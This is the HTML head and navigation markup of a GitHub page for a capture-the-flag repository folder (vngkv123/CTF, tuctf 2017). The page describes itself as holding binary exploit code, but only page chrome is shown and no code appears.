<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta name="twitter:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta property="og:image:alt" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta property="og:url" content="https://github.com/vngkv123/CTF" /><meta property="og:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vngkv123/CTF git https://github.com/vngkv123/CTF.git">
<meta name="octolytics-dimension-user_id" content="15422891" /><meta name="octolytics-dimension-user_login" content="vngkv123" /><meta name="octolytics-dimension-repository_id" content="105910326" /><meta name="octolytics-dimension-repository_nwo" content="vngkv123/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="105910326" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vngkv123/CTF" />
<link rel="canonical" href="https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="105910326" data-scoped-search-url="/vngkv123/CTF/search" data-owner-scoped-search-url="/users/vngkv123/search" data-unscoped-search-url="/search" data-turbo="false" action="/vngkv123/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="jcZHuI34okZZZmJiCSeSYCgqE4eZvrXZ3h4CgpU/Gp6Q1RIXwOE/T+2iV9ghS6yIfdZVZwvmqFcme2h5eE+BFQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
